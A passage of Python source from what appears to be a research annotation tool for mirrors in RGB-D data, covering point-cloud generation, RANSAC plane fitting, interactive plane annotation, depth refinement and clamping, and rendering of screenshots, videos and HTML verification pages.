get_mirror_parameter_from_xyzs_by_ransac(mirror_points)\n one_info = dict()\n one_info[\"plane\"] = list(plane_parameter)\n one_info[\"normal\"] = list(unit_vector(list(plane_parameter[:-1])))\n one_info[\"mask_id\"] = int(instance_index)\n img_info.append(one_info)\n os.makedirs(os.path.split(json_save_path)[0], exist_ok=True)\n save_json(json_save_path, img_info)\n\n def anno_env_setup(self, input_txt, border_width=25):\n \"\"\"\n Generate pcd for annotation and initlize plane parameter using ransac\n \n Output:\n pointclouds : .ply file (per instance).\n mirror plane information : .json file (per image); save mirror instances' parameter. \n color image with a mirror border mask : .png file (per instance).\n \"\"\"\n\n def gen_pcd(color_img_path, depth_img_path, mask_img_path, pcd_output_folder, plane_parameter_output_path,\n mirror_border_vis_output_folder, f):\n os.makedirs(mirror_border_vis_output_folder, exist_ok=True)\n os.makedirs(pcd_output_folder, exist_ok=True)\n os.makedirs(os.path.split(plane_parameter_output_path)[0], exist_ok=True)\n int_mask = cv2.imread(mask_img_path, cv2.IMREAD_ANYDEPTH)\n for instance_index in np.unique(int_mask):\n if instance_index == 0: # background\n continue\n file_save_name = os.path.split(color_img_path)[-1].split(\".\")[0] + \"_idx_\" + str(instance_index)\n pcd_save_path = os.path.join(pcd_output_folder, \"{}.ply\".format(file_save_name))\n if os.path.isfile(pcd_save_path) and not self.overwrite:\n print(pcd_save_path, \"exist! continue\")\n continue\n else:\n if os.path.exists(pcd_save_path):\n print(\"begin to overwrite {}\".format(pcd_save_path))\n else:\n print(\"generating pcd {}\".format(pcd_save_path))\n binary_instance_mask = (int_mask == instance_index).astype(np.uint8)\n mirror_border_mask = cv2.dilate(binary_instance_mask, cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (\n border_width, border_width))) - binary_instance_mask\n\n # Save image with masked mirror border\n border_mask_vis_image = visualize_mask_one_image(color_img_path, mirror_border_mask)\n border_mask_vis_output_path = os.path.join(mirror_border_vis_output_folder,\n \"{}.jpg\".format(file_save_name))\n plt.imsave(border_mask_vis_output_path, border_mask_vis_image)\n print(\"border_mask_vis_output_path : \", os.path.abspath(border_mask_vis_output_path))\n\n # Get pcd with refined mirror depth by ransac \n pcd, plane_parameter = refine_pcd_by_mirror_border(binary_instance_mask, mirror_border_mask,\n depth_img_path, color_img_path, f)\n update_plane_parameter_json(plane_parameter, plane_parameter_output_path, instance_index)\n print(\"plane_parameter saved to :\", os.path.abspath(plane_parameter_output_path))\n\n o3d.io.write_point_cloud(pcd_save_path, pcd)\n print(\"point cloud saved to :\", os.path.abspath(pcd_save_path))\n\n import open3d as o3d\n process_list = self.get_list_to_process(read_txt(input_txt))\n for item in process_list:\n if len(item.strip().split()) == 7:\n color_img_path, depth_img_path, mask_img_path, pcd_output_folder, \\\n plane_parameter_output_path, mirror_border_vis_output_folder, f = item.strip().split()\n f = self.get_and_check_focal_length(f, item)\n\n if not os.path.exists(color_img_path) or not os.path.exists(depth_img_path) or not os.path.exists(\n mask_img_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [input color image path] [input depth image path] [input integer mask \"\n \"path] [pointcloud output folder(pointcloud's name will be color image name + instance id)] \"\n \"[plane parameter JSON output path] [folder to save color image with mirror border mask] [\"\n \"focal length of this sample]\")\n\n gen_pcd(color_img_path, depth_img_path, mask_img_path, pcd_output_folder, plane_parameter_output_path,\n mirror_border_vis_output_folder, f)\n\n def save_progress(self, annotation_progress_save_folder):\n \"\"\"Save annotation progress\"\"\"\n error_txt_path = os.path.join(annotation_progress_save_folder, \"error_pcd_list.txt\")\n correct_txt_path = os.path.join(annotation_progress_save_folder, \"correct_pcd_list.txt\")\n save_txt(error_txt_path, set([item for item in self.error_pcd_list]))\n save_txt(correct_txt_path, set([item for item in self.correct_pcd_list]))\n\n def get_progress(self, input_txt, annotation_progress_save_folder):\n \"\"\"Get annotation progress\"\"\"\n self.anno_info_list = []\n self.to_anno_sample_index = 0\n process_list = read_txt(input_txt)\n for item in process_list:\n if len(item.strip().split()) == 7:\n color_img_path, depth_img_path, mask_path, pcd_path, \\\n plane_parameter_output_path, mirror_border_vis_path, f = item.strip().split()\n if not os.path.exists(pcd_path) or not os.path.exists(mirror_border_vis_path) or not os.path.exists(\n color_img_path) or not os.path.exists(depth_img_path) or not os.path.exists(mask_path):\n print(\"invalid line : \", item)\n exit()\n else:\n self.anno_info_list.append(\n [color_img_path, depth_img_path, mask_path, pcd_path, plane_parameter_output_path,\n mirror_border_vis_path, int(f)])\n\n self.anno_info_list.sort()\n error_txt = os.path.join(annotation_progress_save_folder, \"error_pcd_list.txt\")\n correct_txt = os.path.join(annotation_progress_save_folder, \"correct_pcd_list.txt\")\n\n # get error list\n if os.path.exists(error_txt):\n self.error_pcd_list = read_txt(error_txt)\n else:\n self.error_pcd_list = []\n\n # get correct list\n if os.path.exists(correct_txt):\n self.correct_pcd_list = read_txt(correct_txt)\n else:\n self.correct_pcd_list = []\n\n # get error list (regardless of instance id)\n self.error_sample = []\n for item in self.error_pcd_list:\n self.error_sample.append(item.split(\"_idx_\")[0])\n\n # get annotation start position\n for index, info in enumerate(self.anno_info_list):\n one_path = info[3] # get pcd path\n if one_path not in self.correct_pcd_list and one_path not in self.error_pcd_list:\n self.to_anno_sample_index = index\n return\n self.to_anno_sample_index = len(self.anno_info_list)\n return\n\n def anno_plane_update_imgInfo(self, annotation_progress_save_folder, input_txt):\n \"\"\"\n Plane annotation \n\n Requirement : open3d 0.10.0 +\n \"\"\"\n import open3d as o3d\n import warnings\n warnings.filterwarnings(\"ignore\")\n os.makedirs(annotation_progress_save_folder, exist_ok=True)\n\n self.get_progress(input_txt, annotation_progress_save_folder)\n annotation_start_index = self.to_anno_sample_index # self.to_anno_sample_index start from 0\n manual_adjust_num = 0 # count statistic\n annotation_start_time = time.time()\n while 1:\n if self.to_anno_sample_index == len(self.anno_info_list):\n print(\"annotation finished ! XD\")\n exit(1)\n color_img_path, depth_img_path, mask_path, current_pcd_path, \\\n plane_parameter_output_path, mirror_border_vis_path, f = self.anno_info_list[self.to_anno_sample_index]\n current_pcd_id = current_pcd_path.split(\"_idx_\")[0]\n mirror_plane = []\n\n # If one instance in the sample is negative; then this sample is invalid\n if current_pcd_id in self.error_sample:\n self.error_pcd_list.append(current_pcd_path)\n self.save_progress(annotation_progress_save_folder)\n self.get_progress(input_txt, annotation_progress_save_folder)\n print(\"[AUTO] sample index {} path {} is invalid\".format(self.to_anno_sample_index, current_pcd_path))\n continue\n\n # print the current annotation tag for the sample\n current_sample_status = \"N/A\"\n if current_pcd_path in self.correct_pcd_list:\n current_sample_status = \"correct\"\n elif current_pcd_path in self.error_pcd_list:\n current_sample_status = \"error\"\n print(\"###################### sample status {} ######################\".format(current_sample_status))\n\n # get the pcd for annotation\n pcd = o3d.io.read_point_cloud(current_pcd_path)\n instance_id = int(current_pcd_path.split(\"_idx_\")[-1].split(\".\")[0])\n plane_parameter = read_plane_json(plane_parameter_output_path)[instance_id][\"plane_parameter\"]\n print(\"sample index {} mirror to annotate {}\".format(self.to_anno_sample_index, mirror_border_vis_path))\n\n # show the point cloud and mesh plane (optional) in the user interface\n if self.show_plane:\n try:\n instance_mask = (cv2.imread(mask_path, cv2.IMREAD_ANYDEPTH) == instance_id).astype(np.uint8)\n mirror_points = get_points_in_mask(f=self.f, depth_img_path=depth_img_path,\n color_img_path=color_img_path, mirror_mask=instance_mask)\n mirror_pcd = o3d.geometry.PointCloud()\n mirror_pcd.points = o3d.utility.Vector3dVector(np.stack(mirror_points, axis=0))\n mirror_bbox = o3d.geometry.OrientedBoundingBox.create_from_points(\n o3d.utility.Vector3dVector(np.stack(mirror_points, axis=0)))\n except:\n print(\"warning : can not generate mesh plane\")\n if self.show_plane:\n try:\n mirror_plane = get_mirror_init_plane_from_mirrorbbox(plane_parameter, mirror_bbox)\n o3d.visualization.draw_geometries([pcd, mirror_plane])\n except:\n o3d.visualization.draw_geometries([pcd])\n else:\n o3d.visualization.draw_geometries([pcd])\n\n option_list = ToolOption()\n option_list.add_option(\"t\", \"TRUE : initial plane parameter is correct\")\n option_list.add_option(\"w\", \"WASTE : sample have error, can not be used (e.g. point cloud too noisy)\")\n option_list.add_option(\"back n\", \"BACK : return n times (e.g. back 3 : give up the recent 3 annotated \"\n \"sample and go back)\")\n option_list.add_option(\"goto n\", \"GOTO : goto the n th image (e.g. goto 3 : go to the third image\")\n option_list.add_option(\"n\", \"NEXT : goto next image without annotation\")\n option_list.add_option(\"a\", \"ADJUST: adjust one sample repeatedly\")\n option_list.add_option(\"exit\", \"EXIT : save and exit\")\n option_list.print_option()\n input_option = input()\n\n if not option_list.is_input_key_valid(input_option):\n print(\"invalid input, please input again :D\")\n continue\n\n if input_option == \"t\":\n if current_pcd_path in self.error_pcd_list:\n self.error_pcd_list.remove(current_pcd_path)\n self.correct_pcd_list.append(current_pcd_path)\n self.save_progress(annotation_progress_save_folder)\n self.get_progress(input_txt, annotation_progress_save_folder)\n\n elif input_option == \"w\":\n if current_pcd_path in self.correct_pcd_list:\n self.correct_pcd_list.remove(current_pcd_path)\n self.error_pcd_list.append(current_pcd_path)\n self.save_progress(annotation_progress_save_folder)\n self.get_progress(input_txt, annotation_progress_save_folder)\n elif input_option == \"n\":\n if current_sample_status == \"N/A\":\n print(\"please annotate current sample :-)\")\n continue\n self.to_anno_sample_index += 1\n elif input_option == \"exit\":\n self.save_progress(annotation_progress_save_folder)\n self.get_progress(input_txt, annotation_progress_save_folder)\n print(\"current progress {} / {}\".format(self.to_anno_sample_index, len(self.anno_info_list)))\n refer_speed = (time.time() - annotation_start_time) / (\n self.to_anno_sample_index - annotation_start_index)\n left_h = ((len(self.anno_info_list) - self.to_anno_sample_index) * refer_speed) / 3600\n manual_percentage = (manual_adjust_num / (self.to_anno_sample_index - annotation_start_index)) * 100\n print(\"Reference annotation speed {:.2f} s/sample; \"\n \"Estimate remaining time {:.1f} h; manual adjust {:.2f}%\"\n .format(refer_speed, left_h, manual_percentage))\n exit(1)\n elif \"back\" in input_option:\n n = int(input_option.split()[1]) - 1\n if self.to_anno_sample_index - n < 0:\n print(\"at most return {} times\".format(self.to_anno_sample_index + 1))\n continue\n self.to_anno_sample_index -= n\n elif \"goto\" in input_option:\n n = int(input_option.split()[1]) - 1\n if n > len(self.anno_info_list) - 1:\n print(\"you can go to 0 ~ {}\".format(len(self.anno_info_list) - 1))\n continue\n self.to_anno_sample_index = n\n elif input_option == \"a\":\n instance_mask = (cv2.imread(mask_path, cv2.IMREAD_ANYDEPTH) == instance_id).astype(np.uint8)\n mirror_pcd = get_mirrorPoint_based_on_plane_parameter(f, plane_parameter=plane_parameter,\n mirror_mask=instance_mask,\n color_img_path=color_img_path, color=[1, 1, 0])\n init_step_size = ((np.max(np.array(pcd.points)[:, 0])) - (np.min(np.array(pcd.points)[:, 0]))) / 300\n while 1:\n min_adjust_option_list = ToolOption()\n min_adjust_option_list.add_option(\"f\", \"FINISH : update refined_sensorD/ refined_meshD/ img_info \"\n \"and EXIT\")\n min_adjust_option_list.add_option(\"a\", \"ADJUST : adjust the plane parameter based on current \"\n \"plane parameter\")\n min_adjust_option_list.add_option(\"i\", \"INIT : pick 3 points to initialize the plane (press shift \"\n \"+ left click to select a point; press shirt + right click \"\n \"to unselect; for more detail please refer to Open3d \"\n \"instruction)\")\n min_adjust_option_list.print_option()\n min_input_option = input()\n\n if min_input_option not in [\"f\", \"i\", \"a\"]:\n print(\"invalid input, please input again :D\")\n continue\n\n if min_input_option == \"f\":\n update_plane_parameter_json(plane_parameter, plane_parameter_output_path, instance_id)\n manual_adjust_num += 1\n self.correct_pcd_list.append(current_pcd_path)\n self.save_progress(annotation_progress_save_folder)\n self.get_progress(input_txt, annotation_progress_save_folder)\n break\n elif min_input_option == \"i\":\n [p1, p2, p3] = get_picked_points(pcd)\n plane_parameter = get_parameter_from_plane_adjustment(\n pcd, get_mirror_init_plane_from_3points(p1, p2, p3), init_step_size)\n mirror_pcd = get_mirrorPoint_based_on_plane_parameter(f, plane_parameter=plane_parameter,\n mirror_mask=instance_mask,\n color_img_path=color_img_path,\n color=[1, 1, 0])\n o3d.visualization.draw_geometries([pcd, mirror_pcd])\n\n elif min_input_option == \"a\":\n p1 = np.mean(np.array(mirror_pcd.points), axis=0)\n p2 = np.array(mirror_pcd.points)[0]\n p3 = np.array(mirror_pcd.points)[-1]\n if not mirror_plane:\n mirror_plane = get_mirror_init_plane_from_3points(p1, p2, p3)\n plane_parameter = get_parameter_from_plane_adjustment(pcd, mirror_plane, init_step_size)\n mirror_pcd = get_mirrorPoint_based_on_plane_parameter(f, plane_parameter=plane_parameter,\n mirror_mask=instance_mask,\n color_img_path=color_img_path,\n color=[1, 1, 0])\n o3d.visualization.draw_geometries([pcd, mirror_pcd])\n\n def get_and_check_focal_length(self, f, line):\n try:\n f = int(f)\n return f\n except:\n print(\"{} invalid focal length format\".format(f))\n print(\"please check line: \", line)\n exit()\n\n def anno_update_depth_from_img_info(self, input_txt):\n \"\"\"\n After plane annotation, update \"raw_sensorD/raw_meshD\" to \"refined_sensorD/refined_meshD\"\n\n Output:\n Refined depth saved to refined_sensorD or refined_meshD (Matterport3d only).\n \"\"\"\n process_list = self.get_list_to_process(read_txt(input_txt))\n for item in process_list:\n if len(item.strip().split()) != 5:\n continue\n rawD_path, mask_img_path, plane_parameter_json_path, refD_output_path, f = item.strip().split()\n if not os.path.exists(rawD_path) or not os.path.exists(mask_img_path) or not os.path.exists(\n plane_parameter_json_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [path to depth map to refine (rawD)] [input integer mask path] [plane \"\n \"parameter JSON output path] [path to save the refined depth map (refD)] [focal length of this \"\n \"sample]\")\n continue\n f = self.get_and_check_focal_length(f, item)\n\n os.makedirs(os.path.split(refD_output_path)[0], exist_ok=True)\n mask = cv2.imread(mask_img_path, cv2.IMREAD_ANYDEPTH)\n info = read_json(plane_parameter_json_path)\n valid_instance = False\n for one_info in info:\n instance_index = one_info[\"mask_id\"]\n binary_instance_mask = (mask == instance_index).astype(np.uint8)\n plane_parameter = one_info[\"plane\"]\n cv2.imwrite(refD_output_path,\n refine_depth_with_plane_parameter_mask(plane_parameter, binary_instance_mask,\n cv2.imread(rawD_path, cv2.IMREAD_ANYDEPTH), f))\n print(\"update depth {}\".format(refD_output_path))\n\n def data_clamping(self, input_txt, expand_range=100, clamp_dis=100, border_width=25):\n \"\"\"\n Clamp data based on 3D bbox\n\n Output:\n Clamped depth : saved to refined_sensorD or mesh_refined depth under self.data_main_folder\n \"\"\"\n import open3d as o3d\n process_list = self.get_list_to_process(read_txt(input_txt))\n for item in process_list:\n if len(item.strip().split()) != 5:\n continue\n refD_path, mask_img_path, plane_parameter_json_path, clamped_refD_path, f = item.strip().split()\n if not os.path.exists(refD_path) or not os.path.exists(mask_img_path) or not os.path.exists(\n plane_parameter_json_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [path to depth map to the unclamped refine (rawD)] [input integer mask path] \"\n \"[plane parameter JSON output path] [path to save the clamped refined depth map (refD)] [focal \"\n \"length of this sample]\")\n continue\n f = self.get_and_check_focal_length(f, item)\n mask = cv2.imread(mask_img_path, cv2.IMREAD_ANYDEPTH)\n for instance_index in np.unique(mask):\n if instance_index == 0:\n continue # background\n\n # Get mirror_border_mask\n instance_mask = (mask == instance_index).astype(np.uint8)\n mirror_border_mask = cv2.dilate(instance_mask, cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (\n border_width, border_width))) - cv2.erode(instance_mask,\n cv2.getStructuringElement(cv2.MORPH_ELLIPSE, (10, 10)))\n\n # Get mirror_bbox\n mirror_points = get_points_in_mask(f=f, depth_img_path=refD_path, mirror_mask=instance_mask)\n mirror_pcd = o3d.geometry.PointCloud()\n mirror_pcd.points = o3d.utility.Vector3dVector(np.stack(mirror_points, axis=0))\n mirror_bbox = o3d.geometry.OrientedBoundingBox.create_from_points(\n o3d.utility.Vector3dVector(np.stack(mirror_points, axis=0)))\n\n # Get plane parameter\n plane_parameter = read_plane_json(plane_parameter_json_path)[instance_index][\"plane_parameter\"]\n\n # Refine hole raw depth\n os.makedirs(os.path.split(clamped_refD_path)[0], exist_ok=True)\n cv2.imwrite(clamped_refD_path, clamp_pcd_by_bbox(mirror_bbox=mirror_bbox, depth_img_path=refD_path, f=f,\n mirror_border_mask=mirror_border_mask,\n plane_parameter=plane_parameter,\n expand_range=expand_range, clamp_dis=clamp_dis))\n print(\"update depth {}\".format(clamped_refD_path))\n\n def generate_pcdMesh_for_vis(self, input_txt):\n \"\"\"\n Generate \"point cloud\" + \"mesh plane\" for specific sample\n\n Output:\n \"point cloud\" + \"mesh plane\" : Saved under self.output_folder.\n \"\"\"\n\n import open3d as o3d\n import itertools\n\n # Pack as a function to better support Matterport3d ply generation\n def generate_and_save_ply(color_img_path, depth_img_path, mask_img_path, plane_parameter_json_path,\n pcd_save_folder, mesh_save_folder, f):\n os.makedirs(pcd_save_folder, exist_ok=True)\n os.makedirs(mesh_save_folder, exist_ok=True)\n\n mask = cv2.imread(mask_img_path, cv2.IMREAD_ANYDEPTH)\n # Get pcd and masked RGB image for each instance\n for instance_index in np.unique(mask):\n if instance_index == 0: # background\n continue\n save_name = color_img_path.split(\"/\")[-1].split(\".\")[0] + \"_idx_\" + str(instance_index)\n mesh_save_path = os.path.join(mesh_save_folder, \"{}.ply\".format(save_name))\n pcd_save_path = os.path.join(pcd_save_folder, \"{}.ply\".format(save_name))\n binary_instance_mask = (mask == instance_index).astype(np.uint8)\n plane_parameter = read_plane_json(plane_parameter_json_path)[instance_index][\"plane_parameter\"]\n\n if os.path.exists(pcd_save_path) and os.path.exists(mesh_save_path) and not self.overwrite:\n print(pcd_save_path, mesh_save_path, \"exist! continue\")\n return\n\n # Get pcd for the instance\n pcd = get_pcd_from_rgbd_depthPath(f, depth_img_path, color_img_path, mirror_mask=binary_instance_mask, color=[0, 0.2, 0.6])\n\n # Get mirror plane for the instance\n mirror_points = get_points_in_mask(f, depth_img_path, mirror_mask=binary_instance_mask)\n mirror_pcd = o3d.geometry.PointCloud()\n mirror_pcd.points = o3d.utility.Vector3dVector(np.stack(mirror_points, axis=0))\n if np.array(mirror_pcd.voxel_down_sample(voxel_size=500).points).shape[0] < 30:\n mirror_bbox =mirror_pcd.voxel_down_sample(voxel_size=100).get_oriented_bounding_box()\n else:\n mirror_bbox =mirror_pcd.voxel_down_sample(voxel_size=500).get_oriented_bounding_box()\n mirror_plane = get_mirror_init_plane_from_mirrorbbox(plane_parameter, mirror_bbox)\n o3d.io.write_point_cloud(pcd_save_path, pcd)\n print(\"point cloud saved to :\", os.path.abspath(pcd_save_path))\n\n o3d.io.write_triangle_mesh(mesh_save_path, mirror_plane)\n print(\"mirror plane (mesh) saved to :\", os.path.abspath(mesh_save_path))\n\n process_list = self.get_list_to_process(read_txt(input_txt))\n for item in process_list:\n if len(item.strip().split()) != 7:\n continue\n color_img_path, depth_img_path, mask_img_path, plane_parameter_json_path, \\\n pcd_save_folder, mesh_save_folder, f = item.strip().split()\n if not os.path.exists(color_img_path) or not os.path.exists(depth_img_path) or not os.path.exists(\n plane_parameter_json_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [input color image path] [input depth image path] [input integer mask path] \"\n \"[plane parameter JSON path] [folder to save the output pointcloud] [folder to save the output \"\n \"mesh plane] [focal length of this sample]\")\n continue\n f = self.get_and_check_focal_length(f, item)\n generate_and_save_ply(color_img_path, depth_img_path, mask_img_path, plane_parameter_json_path,\n pcd_save_folder, mesh_save_folder, f)\n\n def set_view_mode(self, view_mode):\n \"\"\"Function to save the view mode\"\"\"\n self.view_mode = view_mode\n\n @staticmethod\n def rotate_pcd_mesh_topdown(screenshot_output_folder, pcd, plane, above_height=3000):\n \"\"\"\n Rotate the \"pcd + mesh\" by topdown view\n\n Output:\n Screenshots png\n \"\"\"\n import open3d as o3d\n\n screenshot_id = 0\n mesh_center = np.mean(np.array(plane.vertices), axis=0)\n rotation_step_degree = 10\n start_rotation = get_extrinsic(90, 0, 0, [0, 0, 0])\n step_translation = get_extrinsic(0, 0, 0, [-mesh_center[0], -mesh_center[1] + above_height, -mesh_center[2]])\n start_position = np.dot(start_rotation, step_translation)\n\n def rotate_view(vis):\n nonlocal screenshot_id\n t_rotate = get_extrinsic(0, rotation_step_degree * (screenshot_id + 1), 0, [0, 0, 0])\n cam = vis.get_view_control().convert_to_pinhole_camera_parameters()\n cam.extrinsic = np.dot(np.dot(start_rotation, t_rotate), step_translation)\n vis.get_view_control().convert_from_pinhole_camera_parameters(cam)\n\n screenshot_id += 1\n screenshot_save_path = os.path.join(screenshot_output_folder, \"{0:05d}.png\".format(screenshot_id))\n vis.capture_screen_image(filename=screenshot_save_path, do_render=True)\n print(\"image saved to {}\".format(screenshot_save_path))\n if screenshot_id > (360 / rotation_step_degree):\n vis.destroy_window()\n return False\n\n vis = o3d.visualization.VisualizerWithKeyCallback()\n vis.register_animation_callback(rotate_view)\n vis.create_window(width=800, height=800)\n vis.get_render_option().point_size = 1.0\n vis.add_geometry(pcd)\n vis.add_geometry(plane)\n cam = vis.get_view_control().convert_to_pinhole_camera_parameters()\n cam.extrinsic = start_position\n vis.get_view_control().convert_from_pinhole_camera_parameters(cam)\n vis.run()\n\n @staticmethod\n def rotate_pcd_mesh_front(screenshot_output_folder, pcd, plane):\n \"\"\"\n Rotate the \"pcd + mesh\" by front view\n\n Output:\n Screenshots png\n \"\"\"\n import open3d as o3d\n\n screenshot_id = 0\n mesh_center = np.mean(np.array(plane.vertices), axis=0)\n rotation_step_degree = 10\n start_position = get_extrinsic(0, 0, 0, [0, 0, 3000])\n\n def rotate_view(vis):\n nonlocal screenshot_id\n t_to_center = get_extrinsic(0, 0, 0, mesh_center)\n t_rotate = get_extrinsic(0, rotation_step_degree * (screenshot_id + 1), 0, [0, 0, 0])\n t_to_mesh = get_extrinsic(0, 0, 0, -mesh_center)\n cam = vis.get_view_control().convert_to_pinhole_camera_parameters()\n cam.extrinsic = np.dot(start_position, np.dot(np.dot(t_to_center, t_rotate), t_to_mesh))\n vis.get_view_control().convert_from_pinhole_camera_parameters(cam)\n\n screenshot_id += 1\n screenshot_save_path = os.path.join(screenshot_output_folder, \"{0:05d}.png\".format(screenshot_id))\n vis.capture_screen_image(filename=screenshot_save_path, do_render=True)\n print(\"image saved to {}\".format(screenshot_save_path))\n if screenshot_id > (360 / rotation_step_degree):\n vis.destroy_window()\n return False\n\n vis = o3d.visualization.VisualizerWithKeyCallback()\n vis.register_animation_callback(rotate_view)\n vis.create_window(width=800, height=800)\n vis.get_render_option().point_size = 1.0\n vis.add_geometry(pcd)\n vis.add_geometry(plane)\n cam = vis.get_view_control().convert_to_pinhole_camera_parameters()\n cam.extrinsic = start_position\n vis.get_view_control().convert_from_pinhole_camera_parameters(cam)\n vis.run()\n\n def generate_video_screenshot_from_3Dobject(self, input_txt, above_height=3000):\n \"\"\"\n Generate \"pcd + mesh\"'s screenshots\n\n Args:\n self.view_mode : str; \"topdown\" / \"front\".\n\n Output:\n screenshots png\n \"\"\"\n import open3d as o3d\n\n def generate_video_ffmpeg(one_video_save_path, one_screenshot_output_folder):\n os.makedirs(os.path.split(one_video_save_path)[0], exist_ok=True)\n try:\n start_time = time.time()\n if os.path.exists(one_video_save_path):\n if not self.overwrite:\n print(\"{} video exists!\".format(one_video_save_path))\n return\n else:\n os.remove(one_video_save_path)\n command = \"ffmpeg -f image2 -i \" + one_screenshot_output_folder + \"/%05d.png \" + one_video_save_path\n os.system(command)\n print(\"video saved to {}, used time :{}\".format(one_video_save_path, time.time() - start_time))\n except:\n print(\"error saving video for :\", one_screenshot_output_folder)\n\n def generate_screenshot(pcd_path, mesh_path, screenshot_output_folder):\n\n pcd = o3d.io.read_point_cloud(pcd_path)\n mirror_plane = o3d.io.read_triangle_mesh(mesh_path)\n os.makedirs(screenshot_output_folder, exist_ok=True)\n\n if len(os.listdir(screenshot_output_folder)) == 37 and not self.overwrite:\n print(\"screenshots for {} exist ! continue\".format(pcd_path))\n return\n\n if self.view_mode == \"topdown\":\n topdown_folder = os.path.join(screenshot_output_folder, \"topdown\")\n os.makedirs(topdown_folder, exist_ok=True)\n self.rotate_pcd_mesh_topdown(topdown_folder, pcd, mirror_plane, above_height)\n else:\n front_folder = os.path.join(screenshot_output_folder, \"front\")\n os.makedirs(front_folder, exist_ok=True)\n self.rotate_pcd_mesh_front(front_folder, pcd, mirror_plane)\n\n process_list = self.get_list_to_process(read_txt(input_txt))\n for item in process_list:\n if len(item.strip().split()) != 3:\n continue\n pcd_path, mesh_path, screenshot_output_folder = item.strip().split()\n if not os.path.exists(pcd_path) or not os.path.exists(mesh_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [path to pointcloud] [path to mesh plane] [screenshot output main folder]\")\n continue\n generate_screenshot(pcd_path, mesh_path, screenshot_output_folder)\n if self.view_mode == \"topdown\":\n topdown_folder = os.path.join(screenshot_output_folder, \"topdown\")\n video_save_path = os.path.join(screenshot_output_folder,\n \"topdown_{}_.mp4\".format(os.path.split(mesh_path)[-1].split(\".\")[0]))\n generate_video_ffmpeg(video_save_path, topdown_folder)\n else:\n front_folder = os.path.join(screenshot_output_folder, \"front\")\n video_save_path = os.path.join(screenshot_output_folder,\n \"front_{}_.mp4\".format(os.path.split(mesh_path)[-1].split(\".\")[0]))\n generate_video_ffmpeg(video_save_path, front_folder)\n\n def gen_verification_html(self, input_txt, video_num_per_page, html_output_folder):\n\n template_path = \"mirror3d/visualization/template/veri_template.html\"\n os.makedirs(html_output_folder, exist_ok=True)\n process_list_temp = self.get_list_to_process(read_txt(input_txt))\n process_list = []\n for item in process_list_temp:\n if len(item.strip().split()) != 5:\n continue\n sample_id, color_img_path, colored_depth_path, front_video_path, topdown_video_path = item.strip().split()\n if not os.path.exists(color_img_path) or not os.path.exists(colored_depth_path) or not os.path.exists(\n front_video_path) or not os.path.exists(topdown_video_path):\n print(\"invalid line : \", item)\n print(\"input txt format: [sample id] [input color image path] [colored depth map saved path] [front \"\n \"view video path] [topdown view video path]\")\n continue\n\n process_list.append(item.strip().split())\n process_sub_list = [process_list[x:x + video_num_per_page] for x in\n range(0, len(process_list), video_num_per_page)]\n for html_index, process_sub in enumerate(process_sub_list):\n\n with open(template_path) as inf:\n txt = inf.read()\n soup = bs4.BeautifulSoup(txt, features=\"html.parser\")\n\n new_table = soup.new_tag(\"table\")\n new_table[\"style\"] = \"width: 100%%; margin-left: auto; margin-right: auto;\"\n soup.body.div.append(new_table)\n\n # add heading \n heading_tag = [\"ID\", \"Color Image\", \"Depth Image\", \"Top-down View Pointcloud\", \"Front View Pointcloud\"]\n heading = soup.new_tag(\"tr\")\n\n for item_index, tag in enumerate(heading_tag):\n one_heading = soup.new_tag(\"td\")\n text = soup.new_tag(\"p\")\n text.string = tag\n text[\"style\"] = \"text-align: center;\"\n one_heading.append(text)\n heading.append(one_heading)\n new_table.append(heading)\n for one_sub_info in process_sub:\n sample_id, color_img_path, colored_depth_path, front_video_path, topdown_video_path = one_sub_info\n\n # append sample_id\n new_tr = soup.new_tag(\"tr\")\n sample_id_box = soup.new_tag(\"td\")\n text = soup.new_tag(\"p\")\n text.string = sample_id\n text[\"style\"] = \"text-align: center; width:300px\"\n sample_id_box.append(text)\n new_tr.append(sample_id_box)\n\n # append color image to one line in HTML\n one_color_img = soup.new_tag(\"td\")\n one_color_img[\"class\"] = \"one-item\"\n img = soup.new_tag('img', src=os.path.relpath(color_img_path, html_output_folder))\n img[\"style\"] = \"max-height: 220px; width:100%;\"\n one_color_img.append(img)\n new_tr.append(one_color_img)\n\n # append colored depth image to one line in HTML\n one_color_img = soup.new_tag(\"td\")\n one_color_img[\"class\"] = \"one-item\"\n img = soup.new_tag('img', src=os.path.relpath(colored_depth_path, html_output_folder))\n img[\"style\"] = \"max-height: 220px; width:100%;\"\n one_color_img.append(img)\n new_tr.append(one_color_img)\n\n # add topdown video\n video_td = soup.new_tag(\"td\")\n video_td[\"class\"] = \"one-item\"\n one_video = soup.new_tag(\"video\")\n one_video[\"style\"] = \"max-height: 220px; width:100%;\"\n one_video[\"class\"] = \"lazy-video\"\n one_video[\"controls\"] = \"True\"\n one_video[\"autoplay\"] = \"True\"\n one_video[\"muted\"] = \"True\"\n one_video[\"loop\"] = \"True\"\n new_link = soup.new_tag(\"source\")\n new_link[\"data-src\"] = os.path.relpath(topdown_video_path, html_output_folder)\n new_link[\"type\"] = \"video/mp4\"\n one_video.append(new_link)\n video_td.append(one_video)\n new_tr.append(video_td)\n\n # add front video\n video_td = soup.new_tag(\"td\")\n video_td[\"class\"] = \"one-item\"\n one_video = soup.new_tag(\"video\")\n one_video[\"style\"] = \"max-height: 220px; width:100%;\"\n one_video[\"class\"] = \"lazy-video\"\n one_video[\"controls\"] = \"True\"\n one_video[\"autoplay\"] = \"True\"\n one_video[\"muted\"] = \"True\"\n one_video[\"loop\"] = \"True\"\n new_link = soup.new_tag(\"source\")\n new_link[\"data-src\"] = os.path.relpath(front_video_path, html_output_folder)\n new_link[\"type\"] = \"video/mp4\"\n one_video.append(new_link)\n video_td.append(one_video)\n new_tr.append(video_td)\n new_table.append(new_tr)\n\n html_path = os.path.join(html_output_folder, \"{}.html\".format(html_index))\n save_html(html_path, soup)\n print(\"html saved to :\", os.path.abspath(html_path))\n print(\"debug : \", html_path.replace(\"/project/3dlg-hcvc/mirrors/www\",\n \"https://aspis.cmpt.sfu.ca/projects/mirrors\"))\n\n def gen_colored_grayscale_for_depth(self, input_txt):\n \"\"\"\n Generate colored depth for one sample\n Output:\n colored depth image (using plt \"magma\" colormap)\n \"\"\"\n\n process_list = self.get_list_to_process(read_txt(input_txt))\n for item in process_list:\n if len(item.strip().split()) != 2:\n continue\n 